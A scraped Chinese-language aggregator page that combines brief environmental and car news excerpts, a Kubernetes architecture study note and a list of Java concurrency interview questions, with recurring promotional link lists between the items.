武漢肺炎疫情蔓延 蝙蝠餐在印尼仍熱賣

摘錄自2020年2月11日中央社報導

2019新型冠狀病毒疫情蔓延,儘管研究顯示,起自中國的新型冠狀病毒源頭可能是蝙蝠,並經由其他中間宿主傳給人類。不過在印尼部分地區,蝙蝠餐仍暢銷熱賣。

整隻蝙蝠含頭翅全下鍋,佐咖哩烹煮的「燉蝙蝠」(Paniki),是印尼北蘇拉威西省(North Sulawesi)米納哈薩(Minahasa)當地民眾趨之若鶩的傳統菜餚。

小販鐵布倫(Stenly Timbuleng)在北蘇拉威西省首府萬鴉老(Manado)以南的托莫洪(Tomohon)擺攤賣燉蝙蝠。他說:「新型冠狀病毒的疫情不影響生意,而且……持續熱賣完售。」鐵布倫平均每天可賣50至60隻蝙蝠,逢節慶可熱賣高達600隻。

 

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※為什麼 USB CONNECTOR 是電子產業重要的元件?

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※台北網頁設計公司全省服務真心推薦

※想知道最厲害的網頁設計公司"嚨底家"!

※推薦評價好的iphone維修中心

法國罕見地震規模5.4 近16年來最強

摘錄自2019年11月11日中央社報導

法國東南部11日近午時分發生一起芮氏規模5.4的地震,這個地區罕有超過規模5的地震,當地民眾感受特別深刻,已知有4人受傷,其中一人重傷。

法新社報導,巴黎地球物理研究所(IPGP)史特拉斯堡辦公室的學者梅格哈威(Mustapha Meghraoui)表示,這一地區的地震規模極少超過5,可以說這起地震很罕見。

震央鄰近克魯亞斯(Cruas)核電站及特里卡斯坦(Tricastin)核電站,法國電力集團(EDF)晚間決定暫停克魯亞斯核電站的反應爐,以便進行預防性檢測;法國核能安全署(ASN)表示,地震並未在相關設施造成顯著損壞,但仍將檢視反應爐重啟的條件。

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

※教你寫出一流的銷售文案?

※超省錢租車方案

最新研究:全球「水塔」面臨多重威脅 喜馬拉雅列亞洲最脆弱

摘錄自2019年12月10日中新網北京報導

據中國科學院青藏高原研究所消息,括中國科學家在內的全球科學家對被稱為「水塔」—地球78個高山冰川水系統的最新研究評估顯示,全球「水塔」正面臨氣候變化、人口增長、水資源管理不善、其他地緣政治因素等多重威脅,形勢岌岌可危。

這項最新評估研究由全球32位科學家合作撰寫,獲得中科院院士、冰川學家姚檀棟牽頭的中科院專項資助,並發表於《自然》期刊。

地球78個基於高山冰川的水系統被稱為高山「水塔」,其通過冰川、積雪、湖泊和河流來儲藏與運送水,為全球19億人(約佔全球總人口的1/4)提供水資源。亞洲以印度河「水塔」受依賴度最高也最為脆弱,它由喜馬拉雅山脈的廣大地區組成,覆蓋阿富汗、中國、印度和巴基斯坦部分地區。

姚檀棟提醒說,如果全球氣溫升幅超過攝氏2度,亞洲「水塔」氣溫則會劇增至4度,到2060-2070年會出現更大規模的冰川退卻。冰川消減後,以季節性冰川融水補給為主的河流能夠提供的淡水量也會隨之減少,下游地區人口可能會面臨淡水資源減少的問題。

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

網頁設計最專業,超強功能平台可客製化

北海道降雪量不到往年一半 札幌積雪僅9厘米

摘錄自2020年1月9日星島日報報導

日本北海道今個冬天降雪異常,上月降雪量不到往年一半,創1961年統計以來新低紀錄,札幌雪祭月底就要開幕,主辦單位正緊急到30公里外的鄉鎮俱知安町及京極町等地「調雪」到札幌市大通公園,讓參加者製作冰雕。

札幌市中央區的積雪量到周四上午9時止只有9厘米,較往年同期的44厘米大幅減少,雪祭通常需要3000輛10噸重大卡車的雪量。

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

南投搬家公司費用需注意的眉眉角角,別等搬了再說!

※教你寫出一流的銷售文案?

Suzuki Swift跟進導入輕油電動力 小改款車型預計4月日本首發

摘錄自2020年3月18日ETtoday報導

2020年暫訂沒有改款幅度較大的新世代車型問世,但近年來憑藉著堅強的「小車大軍」席捲市場的Suzuki,也著手針對品牌車款進行小改款更新。

根據日媒報導,即將在4月推出小改款車型的Swift,在動力規格上,如無意外的話,Suzuki應也會擴大輕油電系統的應用範圍,進而在既有的1.0升渦輪、1.2升自然進氣動力設定之外,追加1.2升輕油電動力車型;同時同宗性能車型Swift Sport預計也將會在1.4升渦輪汽油引擎當中,額外追加48V輕油電動力架構,藉此改善該車款在油耗以及排污的各項表現。

回到台灣國內,雖說受限於歐盟排放法規,台灣Suzuki早些時候已宣布停止Swift Sport的導入事宜,但一般常規Swift仍具備相當不俗的銷售潛力;為此外界一般也不排除,小改款Swift將會是台灣Suzuki下一批積極爭取導入的戰略車款。

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※想知道最厲害的網頁設計公司"嚨底家"!

※別再煩惱如何寫文案,掌握八大原則!

※產品缺大量曝光嗎?你需要的是一流包裝設計!

【K8S學習筆記】初識K8S 及架構組件

K8S是什麼?發展歷史

Kubernetes (簡稱 k8s)是 Google 在2014年開源的,對容器生命周期管理的開源平台,致力於對容器集群提供易於管理、高可用、彈性負載與故障轉移的能力,提高服務運維自動化的能力。

最初,Google 開發了一個叫 Borg 的系統(現在命名為Omega)來調度據說有20多億個容器和工作負載。在積累了 10 余年經驗后,Google 決定重寫這個容器管理系統,並將其命名為 Kubernetes 貢獻給開源社區,讓全世界都能因此受益。

自從開源以來,K8S迅速獲得開源社區的追捧,包括RedHat、VMware、Canonical在內的有很大影響力公司加入到開發與推廣的陣營。

當微服務的概念的落地實踐開始,微服務就與容器緊緊地綁在了一起,可以說K8s的成功離不開微服務與容器。

2017年是容器生態發展歷史中具有里程碑意義的一年。

在這一年,長期作為Docker競爭對手的RKT容器一派的領導者CoreOS宣布放棄自己的容器管理系統Fleet,未來將會把所有容器管理的功能移至Kubernetes之上去實現。

在這一年,容器管理領域的獨角獸Rancher Labs宣布放棄其內置了數年的容器管理系統Cattle,提出了“All-in-Kubernetes”戰略,從2.0版本開始把1.x版本能夠支持多種容器管理工具的Rancher,“升級”為只支持Kubernetes一種容器管理系統。

在這一年,Kubernetes的主要競爭者Apache Mesos在9月正式宣布了“Kubernetes on Mesos”集成計劃,由競爭關係轉為對Kubernetes提供支持,使其能夠與Mesos的其他一級框架(如HDFS、Spark 和Chronos,等等)進行集群資源動態共享、分配與隔離。

在這一年,Kubernetes的最大競爭者Docker Swarm的母公司Docker,終於在10月被迫宣布Docker要同時支持Swarm與Kubernetes兩套容器管理系統,事實上承認了Kubernetes的統治地位。這場已經持續了三、四年時間,以Docker Swarm、Apache Mesos與Kubernetes為主要競爭者的“容器戰爭”終於有了明確的結果。

時至今日,K8S 已經是發展最快、市場佔有率最高的容器編排系統,是業界標杆。

小結:Kubernetes是Google公司2014年開源的容器編排產品,經過多年的發展,已經成為容器編排領域的佼佼者,擁有最廣大的用戶群體

應用部署容器化的發展歷程

要說K8S的作用,得先從容器的發展與優勢講起,大致可分為 傳統部署時代、虛擬化部署時代、容器部署時代

傳統部署時代: 早期,在物理服務器上運行應用程序。無法為物理服務器中的應用程序定義資源邊界,這會導致資源分配困難與資源浪費的問題。例如,如果在物理服務器上運行多個應用程序,則可能會出現一個應用程序佔用大部分資源的情況,結果可能導致其他應用程序的性能下降。一種解決方案是在不同的物理服務器上運行每個應用程序,但是由於資源利用不足而無法擴展,並且組織維護許多物理服務器的成本很高

虛擬化部署時代: 作為解決方案,引入了虛擬化功能,它允許您在單個物理服務器的 CPU 上運行多個虛擬機(VM)。虛擬化功能允許應用程序在 VM 之間隔離,並提供安全級別,因為一個應用程序的信息不能被另一應用程序自由地訪問。

因為虛擬化可以輕鬆地添加或更新應用程序、降低硬件成本等等,所以虛擬化可以更好地利用物理服務器中的資源,並可以實現更好的可伸縮性。

每個 VM 是一台完整的計算機,在虛擬化硬件之上運行所有組件,包括其自己的操作系統,這勢必也會造成資源的浪費、性能的下降

容器部署時代: 容器類似於 VM,但是它們具有輕量級的隔離屬性,可以在應用程序之間共享操作系統(OS)。因此,容器被認為是輕量級的。容器與 VM 類似,具有自己的文件系統、CPU、內存、進程空間等。由於它們與基礎架構分離,因此可以跨雲和 OS 分發進行移植

容器因具有許多優勢而變得流行起來。下面列出了容器的一些好處

  • 敏捷應用程序的創建和部署:與使用 VM 鏡像相比,提高了容器鏡像創建的簡便性和效率。
  • 持續開發、集成和部署:通過快速簡單的回滾(由於鏡像不可變性),提供可靠且頻繁的容器鏡像構建和部署。
  • 關注開發與運維的分離:在構建/發布時而不是在部署時創建應用程序容器鏡像,從而將應用程序與基礎架構分離。
  • 可觀察性:不僅可以显示操作系統級別的信息和指標,還可以显示應用程序的運行狀況和其他指標信號。
  • 跨開發、測試和生產的環境一致性:在便攜式計算機上與在雲中相同地運行。
  • 雲和操作系統分發的可移植性:可在 Ubuntu、RHEL、CoreOS、本地、Google Kubernetes Engine 和其他任何地方運行。
  • 以應用程序為中心的管理:提高抽象級別,從在虛擬硬件上運行 OS 到使用邏輯資源在 OS 上運行應用程序。
  • 鬆散耦合、分佈式、彈性、解放的微服務:應用程序被分解成較小的獨立部分,並且可以動態部署和管理 – 而不是在一台大型單機上整體運行。
  • 資源隔離:可預測的應用程序性能。
  • 資源利用:高效率和高密度。

小結:相對於傳統物理機部署方式,虛擬機部署將資源更好的隔離開來,使資源分配與隔離的問題解決,提高了資源使用率,但是由於其虛擬了硬件與OS,會浪費不必要的資源;容器部署繼承了虛擬機部署的資源隔離優勢的同時,使用共享宿主機的硬件與OS的方式,資源消耗更少,由於與基礎架構進行了分離,可以做到良好的移植性

為什麼需要 Kubernetes,它能做什麼?

容器是打包和運行應用程序的好方式。在生產環境中,如果一個容器發生故障,則啟動另一個容器。如此處理會不會更簡單?

K8s就是這麼做的!K8s 為您提供了一個可彈性運行分佈式系統的框架,能滿足您的擴展要求、故障轉移、部署模式等。

Kubernetes 為您提供:

  • 服務發現和負載均衡
    Kubernetes 可以使用 DNS 名稱或自己的 IP 地址公開容器,如果到容器的流量很大,Kubernetes 可以負載均衡並分配網絡流量,從而使部署穩定。

  • 存儲編排
    Kubernetes 允許您自動掛載您選擇的存儲系統,例如本地存儲、公共雲提供商等。

  • 自動部署和回滾
    您可以使用 Kubernetes 描述已部署容器的所需狀態,它可以以受控的速率將實際狀態更改為所需狀態。例如,您可以自動化 Kubernetes 來為您的部署創建新容器,刪除現有容器並將它們的所有資源用於新容器。

  • 自動二進制打包
    Kubernetes 允許您指定每個容器所需 CPU 和內存(RAM)。當容器指定了資源請求時,Kubernetes 可以做出更好的決策來管理容器的資源。

  • 自我修復
    Kubernetes 重新啟動失敗的容器、替換容器、殺死不響應用戶定義的運行狀況檢查的容器,並且在準備好服務之前不將其通告給客戶端。

  • 密鑰與配置管理
    Kubernetes 允許您存儲和管理敏感信息,例如密碼、OAuth 令牌和 ssh 密鑰。您可以在不重建容器鏡像的情況下部署和更新密鑰和應用程序配置,也無需在堆棧配置中暴露密鑰。

小結:K8S 提供了服務發現和負載均衡、存儲編排、自動部署和回滾、自動二進制打包、自我修復、密鑰與配置管理等功能,能滿足您的擴展要求、故障轉移、部署模式等需求

擴展
1、有微服務實踐的讀者可能會發現,微服務組件中的服務發現、負載均衡、網關等功能在K8s體系中都有對應的實現,那麼是不是我就可以不使用其他微服務的體系而直接擁抱K8s呢?
答案是可以的。但有一點限制就是開發人員要學習K8s,偏向DevOps了。
2、既然K8s提供了微服務所需的基礎組件實現,但我可以不用么?
答案也是可行的。K8s的組件插拔能力允許你這麼做,這樣一來開發測試環境使用本地部署註冊中心等組件,開發人員就無需關心K8s了,只需要理解所用微服務框架本身,如Spring Cloud等。

Kubernetes 不是什麼

Kubernetes 不是傳統的、包羅萬象的 PaaS(平台即服務)系統。它只提供了 PaaS 產品共有的一些普遍適用的功能,例如部署、擴展、負載均衡、日誌記錄和監視。但是,Kubernetes 不是單一的,默認解決方案是可選和可插拔的。Kubernetes 提供了構建開發人員平台的基礎,但是在重要的地方保留了用戶的選擇和靈活性。

Kubernetes:

  • 不限制支持的應用程序類型。Kubernetes 旨在支持極其多種多樣的工作負載,包括無狀態、有狀態和數據處理工作負載。如果應用程序可以在容器中運行,那麼它應該可以在 Kubernetes 上很好地運行。

  • 不部署源代碼,也不構建您的應用程序。持續集成(CI)、交付和部署(CI/CD)工作流取決於組織的文化和偏好以及技術要求。

  • 不提供應用程序級別的服務作為內置服務,例如中間件(例如,消息中間件)、數據處理框架(例如,Spark)、數據庫(例如,mysql)、緩存、集群存儲系統(例如,Ceph)。這樣的組件可以在 Kubernetes 上運行,並且/或者可以由運行在 Kubernetes 上的應用程序通過可移植機制(例如,開放服務代理)來訪問。

  • 不指定日誌記錄、監視或警報解決方案。它提供了一些集成作為概念證明,並提供了收集和導出指標的機制。

  • 不提供或不要求配置語言/系統(例如 jsonnet),它提供了聲明性 API,該聲明性 API 可以由任意形式的聲明性規範所構成。

  • 不提供也不採用任何全面的機器配置、維護、管理或自我修復系統

  • 此外,Kubernetes 不僅僅是一個編排系統,實際上它消除了編排的需要。編排的技術定義是執行已定義的工作流程:首先執行 A,然後執行 B,再執行 C。相比之下,Kubernetes 包含一組獨立的、可組合的控制過程,這些過程連續地將當前狀態驅動到所提供的所需狀態。從 A 到 C 的方式無關緊要,也不需要集中控制,這使得系統更易於使用且功能更強大、健壯、彈性和可擴展性。

小結:K8S 提供了基礎的容器編排平台,但並不是大而全地將所有可能的功能都直接集成進來,而是做成可插拔的形式,可以做到因地適宜地組織與管理集群,擁有很高的靈活性。

Kubernetes 架構與組件

K8s的架構如上圖,左邊虛線框的部分稱為 控制平面(Control Plane),右側為 集群節點(Nodes)

控制平面所在的主機稱為 Master 節點,其餘稱為 Nodes 執行節點

簡單按這兩種角色來講,Master節點負責發號施令(下發命令、監控節點與容器狀態),而 Nodes 節點負責幹活

控制平面(Control Plane)組件

控制平面的組件對集群做出全局決策(比如調度),以及檢測和響應集群事件

控制平面組件可以在集群中的任何節點上運行。簡單起見,通常會將控制平台配置在一台主機上,也可以配置高可用形式。

下邊我們介紹下 控制平面中的幾大組件:

  • kube-apiserver:Master節點上負責提供 Kubernetes API 服務的組件;它是 Kubernetes 控制面的前端,由它來接收來自 CLI 與 UI 的指令
  • etcd:是兼具一致性和高可用性的鍵值數據庫,可以作為保存 Kubernetes 所有集群數據的後台數據庫。
  • kube-scheduler:Master節點上的組件,該組件監視那些新創建的未指定運行節點的 Pod,並選擇節點讓 Pod 在上面運行。
  • kube-controller-manager:控制器通過 apiserver 監控集群的公共狀態,並致力於將當前狀態轉變為期望的狀態。從邏輯上講,每個控制器都是一個單獨的進程,但是為了降低複雜性,它們都被編譯到同一個可執行文件,並在一個進程中運行。包含以下幾種控制器:
    • 節點控制器(Node Controller): 負責在節點出現故障時進行通知和響應。
    • 副本控制器(Replication Controller): 負責為系統中的每個副本控制器對象維護正確數量的 Pod。
    • 端點控制器(Endpoints Controller): 填充端點(Endpoints)對象(即加入 Service 與 Pod)。
    • 服務帳戶和令牌控制器(Service Account & Token Controllers): 為新的命名空間創建默認帳戶和 API 訪問令牌
  • cloud-controller-manager:雲控制器管理器負責與基礎雲提供商交互,以下控制器具有雲提供商依賴性:
    • 節點控制器(Node Controller): 用於檢查雲提供商以確定節點是否在雲中停止響應后被刪除
    • 路由控制器(Route Controller): 用於在底層雲基礎架構中設置路由
    • 服務控制器(Service Controller): 用於創建、更新和刪除雲提供商負載均衡器
    • 數據卷控制器(Volume Controller): 用於創建、附加和裝載卷、並與雲提供商進行交互以編排卷

節點(Node) 組件

節點組件在每個節點上運行,維護運行的 Pod 並提供 Kubernetes 運行環境

節點組件包含兩大組件:

  • kubelet:一個在集群中每個節點上運行的代理。它保證容器都運行在 Pod 中。

    kubelet 接收一組通過各類機制提供給它的 PodSpecs,確保這些 PodSpecs 中描述的容器處於運行狀態且健康。kubelet 不會管理不是由 Kubernetes 創建的容器。

  • kube-proxy:是集群中每個節點上運行的網絡代理,實現 Kubernetes Service 概念的一部分。

    kube-proxy 維護節點上的網絡規則。這些網絡規則允許從集群內部或外部的網絡會話與 Pod 進行網絡通信。

    如果操作系統提供了數據包過濾層並可用的話,kube-proxy會通過它來實現網絡規則。否則,kube-proxy 僅轉發流量本身

  • 容器運行環境(Container Runtime):容器運行環境是負責運行容器的軟件。K8s支持多種容器運行環境:Docker、containerd、cri-o、rklet 以及任何實現K8s容器運行環境接口的技術。

插件(Addons)

  • DNS:所有 Kubernetes 集群都應具有 DNS。集群 DNS 還是一個 DNS 服務器,它為 Kubernetes 服務提供 DNS 記錄。

  • 用戶界面(Dashboard):Kubernetes 集群基於 Web 的 UI。它使用戶可以管理集群中運行的應用程序以及集群本身並進行故障排除。

Dashboard 是 Kubernetes 集群的通用基於 Web 的 UI。它使用戶可以管理集群中運行的應用程序以及集群本身並進行故障排除。

  • 容器資源監控:將關於容器的一些常見的時間序列度量值保存到一個集中的數據庫中,並提供用於瀏覽這些數據的界面。

  • 集群層面日誌:負責將容器的日誌數據保存到一個集中的日誌存儲中,該存儲能夠提供搜索和瀏覽接口。

小結:K8s架構分為控制平台位於的Master節點與執行節點Node

控制平台包含:

  • kube-apiserver(訪問入口,接收命令)
  • etcd(KV數據庫,保存集群狀態與數據)
  • kube-scheduler(監控節點狀態,調度容器部署)
  • kube-controller-manager(監控集群狀態,控制節點、副本、端點、賬戶與令牌)
  • cloud-controller-manager(控制與雲交互的節點、路由、服務、數據卷)
  • 執行節點包含:

  • kubelet(監控與實際操作容器)
  • kube-proxy(每個節點上運行的網絡代理,維護網絡轉發規則,實現了Service)
  • 容器運行時環境CRI(支持多種實現K8s CRI的容器技術)
  • 本文總結

    Kubernetes 作為容器編排的領航者,將容器化的優勢發揮得淋漓盡致,排除了容器難於管理的問題。

    按角色來看,K8s可以分為兩部分,控制平面與執行節點,控制平台通過一系列接收指令、監控、部署調度等功能的組件組成,最主要的有kube-apiserver、etcd、kube-scheduler、kube-controller-manager;執行節點包含負責監控與具體幹活的kubelet和維護網絡規則的kube-proxy

    參考文章

    • https://kubernetes.io/docs/concepts/overview/components/

    本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※帶您來了解什麼是 USB CONNECTOR  ?

    ※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

    ※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

    ※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※教你寫出一流的銷售文案?

    Java多線程與併發基礎面試題

    CS-LogN思維導圖:記錄專業基礎 面試題
    開源地址:https://github.com/FISHers6/CS-LogN

    多線程與併發基礎

    實現多線程

    面試題1:有幾種實現線程的方法,分別是什麼

    • 1.繼承Thread類,啟動線程的唯一方法就是通過 Thread 類的 start()實例方法,start()方法是一個 native 方法,它將啟動一個新線程去執行 run()方法

    • 2.實現 Runnable 接口,重寫run()函數,作為參數放到Thread類構造函數中作為target屬性,運行start()方法

    • 線程池創建線程、Callable本質還是使Runnable創建,Callable是父輩類繼承了Runnable,線程池需傳入參數

    面試題2:實現Runnable方法好,還是繼承Thread類好

    • 實現Runnable接口更好

      • 1.單一繼承原則,如果繼承了Thread,就不能繼承其它類了,限制了可擴展性
      • 2.Thread類每次只能創建一個獨立的線程,損耗大,而Runnable能利用線程池工具來創建線程
      • 3.從代碼架構上看,run內容應該與Trhead代碼解耦

    面試題3:一個線程兩次調用start方法會出現什麼情況(考察源碼)

    • 第二次會出現異常,從start源碼上和線程生命周期上分析,一個線程start后,
      改變了threadState狀態字;而第二次再start每次會先檢查這個狀態不是0就報異常

    面試題4:既然start方法會調用run方法,為什麼我們還是要用start方法,而不是直接調用run方法呢(考察源碼)

    • 因為start后線程才會經過完整的線程生命周期,start調用native start0,虛擬機執startThread,thread_entry入口中調用Thread的run,

    面試題5:start和run有什麼區別

    • run()方法:只是普通的方法,調用run普通方法,可以重複多次調用
    • start()方法,會啟動一個線程,使得虛擬機去調用Runnable對象的run()方法,不能多次啟動同一個線程

    面試題6:start方法如何調用run方法的(考察源碼和JVM)

    • start方法調用native start0,JVM虛擬機執行startThread,在thread_entry中調用Thread的run方法

    面試題7:如何正確停止線程

    • 使用interrupt中斷通知,而不是強制,中斷通知後會讓被停止線程去決定何時停止,即把主動權交給需要被中斷的線程

    線程的生命周期

    面試題1:Java線程有哪幾種狀態 說說生命周期

    • 六種生命狀態(若time_waiting也算一種)

      • New,已創建但還尚未啟動的新線程
      • Runable,可運行狀態;對應操作系統的兩種狀態“就緒態” 和 “運行態”(分配到CPU)
      • Blocked,阻塞狀態;請求synchronized鎖未分配到時阻塞,直到獲取到monitor鎖再進入Runnable
      • Waiting,等待狀態
      • Timed waiting,限期等待
      • Terminated終止狀態
    • 線程的生命周期 狀態轉換圖

    Thread和Object類中

    與線程相關的重要方法

    面試題1:實現兩個線程交替打印奇數偶數

    面試題2:手寫生產者消費者設計模式,為什麼用該模式

    • 主要是為了解耦,匹配不同的能力

    面試題3:wait后發生了什麼,為什麼需要在同步代碼內才能使用

    • 從jvm的源碼實現上看,wait后,線程讓出佔有的cpu並釋放同步資源鎖;把自己加入到等待池,以後不會再主動參与cpu的競爭,除非被其它notify命中
    • 為了確保線程安全;另外wait會釋放資源,所以肯定要先拿到這個鎖,能進入同步代碼塊已經拿到了鎖

    面試題4:為什麼線程通信的方法wait,notify和notifyAll放在Object類,而sleep定義在Thread類里 (考察對象鎖)

    • 與對象的鎖有關,對象鎖綁定在對象的對象頭中,且放在Object里,使每個線程都可以持有多個對象的鎖

    面試題5:wait方法是屬於Object對象的,那調用Thread.wait會怎麼樣

    • 線程死的時候會自己notifyAll,釋放掉所有的持有自己對象的鎖。這個機制是實現很多同步方法的基礎。如果調用Thrad.wait,干擾了我們設計的同步業務流程

    面試題6:如何選擇notify還是notifyAll

    • 優先選用notifyAll,喚醒所有線程;除非業務需要每次只喚醒一個線程的

    面試題7:notfiy后發生的操作,notifyAll之後所有的線程都會再次搶奪鎖,如果某線程搶奪失敗怎麼辦?

    • notify后,讓waiterSet等待池中的一個線程與entry_List鎖池一級活躍線程一起競爭CPU
    • 搶奪鎖失敗後會繼續待在原鎖池或原等待池,等待競爭CPU的調度

    面試題8:sleep方法與notify/wait方法的異同點

    • 相同點:線程都會進入waiting狀態,都可以響應中斷
    • 不同點:1.所屬類不同;2.wait/notify必須用在同步方法中,且會釋放鎖;3.sleep可以指定時間

    面試題9:join方法後父線程進入什麼狀態

    • waiting狀態,join內部調用wait,子線程結束后自動調用notifyAll喚醒(jvm:exit函數)

    線程安全與性能

    面試題1:守護線程和普通線程的區別

    • 守護線程是服務於普通線程的,並且不會影響到jvm的退出

    面試題2:什麼是線程安全

    • 不管業務中遇到怎樣的多個線程訪問某對象或某方法的情況,而在編程這個業務邏輯的時候,都不需要再額外做任何額外的處理(也就是可以像單線程編程一樣),程序也可以正常運行(不會因為多線程而出錯),就可以稱為線程安全

    面試題3:有哪些線程不安全的情況,什麼原因導致的

    • 1.數據爭用、同時操作,如數據讀寫由於同時寫,非原子性操作導致運行結果錯誤,a++
    • 2.存在競爭,順序不當,如死鎖、活鎖、飢餓

    面試題4:什麼是多線程的上下文切換,及導致的後果

    • 進程線程切換要保存所需要的CPU運行環境,如寄存器、棧、全局變量等資源
    • 在頻繁的io以及搶鎖的時候,會導緻密集的上下文切換,多線程切換時,由於緩存和上下文的切換會帶來性能問題

    面試題5:多線程導致的開銷有哪些

    • 1.上下文切換開銷,如保存緩存(cache、快表等)的開銷

    • 2.同步協作的開銷(java內存模型)

      • 為了數據的正確性,同步手段往往會使用禁止編譯器優化(如指令重排序優化、鎖粗化等),性能變差
      • 使CPU內的緩存失效(比如volatile可見性讓自己線程的緩存失效后,必須使用主存來查看數據)

    Java內存模型

    面試題1:Java的代碼如何一步步轉化,最終被CPU執行的

      1. 最開始,我們編寫的Java代碼,是*.java文件
    1. 在編譯(javac命令)后,從剛才的.java文件會變出一個新的Java字節碼文件.class
    2. JVM會執行剛才生成的字節碼文件(*.class),並把字節碼文件轉化為機器指令
    3. 機器指令可以直接在CPU上執運行,也就是最終的程序執行
    • JVM實現會帶來不同的“翻譯”,不同的CPU平台的機器指令又千差萬別,無法保證併發安全的效果一致

    面試題2:單例模式的作用和適用場景

    • 單例模式:只獲取一次資源,全程序通用,節省內存和計算;保證多線程計算結果正確;方便管理;
      比如日期工具類只需要一個實例就可以,無需多個示例

    面試題3:單例模式的寫法,考察(重排序、單例和高併發的關係)

    • 餓漢式(靜態常量、靜態代碼塊)

      • 原理1:static靜態常量在類加載的時候就初始化完成了,且由jvm保證線程安全,保證了變量唯一
      • 原理2:靜態代碼塊中實例化和靜態常量類似;放在靜態代碼塊里初始化,類加載時完成;
      • 特徵:簡單,但沒有懶加載(需要時再加載)
    • 懶漢式(加synchronized鎖)

      • 對初始化的方法加synchronized鎖達到線程安全的目的,但效率低,多線程下變成了同步
      • 懶漢式取名:用到的時候才去加載
    • 雙重檢查

      • 代碼實現

        • 屬性加volatile,兩次if判斷NULL值,第二次前加類鎖
      • 優點

        • 線程安全;延遲加載;效率高
      • 為什麼用雙重而不用單層

        • 從線程安全方面、效率方面講
    • 靜態內部類

      • 需要理解靜態內部類的優點,懶漢式加載,jvm加載順序
    • 枚舉

      • 代碼實現簡單

        • public enum Singleton{
          INSTANCE;
          public void method(){}
          }
      • 保證了線程安全

        • 枚舉是一個特殊的類,經過反編譯查看,枚舉最終被編譯成一個final的類,繼承了枚舉父類。各個實例通過static定義,本質就是一個靜態的對象,所有第一次使用的時候採取加載(懶加載)
      • 避免反序列化破壞單例

        • 避免了:比如用反射就繞過了構造方法,反序列化出多個實例

    面試題4:單例模式各種寫法分別適用的場合

    • 1.最好的方法是枚舉,因枚舉被編譯成final類,用static定義靜態對象,懶加載。既保證了線程安全又避免了反序列化破壞單例
    • 2.如果程序一開始要加載的資源太多,考慮到啟動速度,就應該使用懶加載
    • 3.如果是對象的創建需要配置文件(一開始要加載其它資源),就不適合用餓漢式

    面試題5:餓漢式單例的缺點

    • 沒有懶加載(初始化時全部加載出),初始化開銷大

    面試題6:懶漢式單例的缺點

    • 雖然用到的時候才去加載,但是由於加鎖,性能低

    面試題7:單例模式的雙重檢查寫法為什麼要用double-check

    • 從代碼實現出發,保證線程安全、延遲加載效率高

    面試題8:為什麼雙重檢查要用volatile

    • 1.保證instance的可見性

      • 類初始化分成3條指令,重排序帶來NPE空虛指針問題,加volatile防止重排序
    • 2.防止初始化指令重排序

    面試題9:講一講什麼是Java的內存模型

    • 1.是一組規範,需要JVM實現遵守這個規範,以便實現安全的多線程程序
      2.volatile、synchronized、Lock等同步工具和關鍵字實現原理都用到了JMM
      3.重排序、內存可見性、原子性

    面試題10:什麼是happens-before,規則有哪些

    • 解決可見性問題的:在時間上,動作A發生在動作B之前,B保證能看見A,這就是happens-before

    • 規則

      • 1 單線程按代碼順序規則;2 鎖操作(synchronized和Lock);3volatile變量;4.JUC工具類的Happens-Before原則
      • 5.線程啟動時子線程啟動前能看到主線程run的所有內容;6.線程join主線程一定要等待子線程完成后再去做後面操作
      • 7.傳遞性 8.中斷檢測 9.對象構造方法的最後一行指令 happens-before 於 finalize() 方法的第一行指令

    面試題11:講一講volatile關鍵字

    • volatile是一種同步機制,比synchronized或者Lock相關類更輕量,因為使用volatile並不會發生上下文切換等開銷很大的行為。而加鎖時對象鎖會阻塞開銷大。
    • 可見性,如果一個變量別修飾成volatile,那麼JVM就知道了這個變量可能會被併發修改;
    • 不能保證原子性

    面試題12:volatile的適用場合及作用

    • 作用

      • 1.保證可見性 2.禁止指令重排序(單例雙重鎖時)
    • 適合場景

      • 適用場合1:boolean flag,布爾具有原子性,可再由volatile保證其可見性
      • 適用場合2:作為刷新之前變量的觸發器
      • 但不適合非原子性操作如:a++等

    面試題13:volatile和synchronized的異同

    • 1 性能開銷方面: 鎖開銷更大,volatile無加鎖阻塞開銷
      2 作用方面:volatile只能保證可見性,鎖既能保證可見性,又能保證原子性

    面試題14:什麼是內存可見性問題,為什麼存在

    • 多線程下,一個線程修改共享數據后,其它線程能否感知到修改了數據的線程的變化
    • CPU有多級緩存,導致讀的數據過期,各處理機有獨自的緩存未及時更新時,與主存內容不一致

    面試題15:主內存和本地內存的關係是什麼

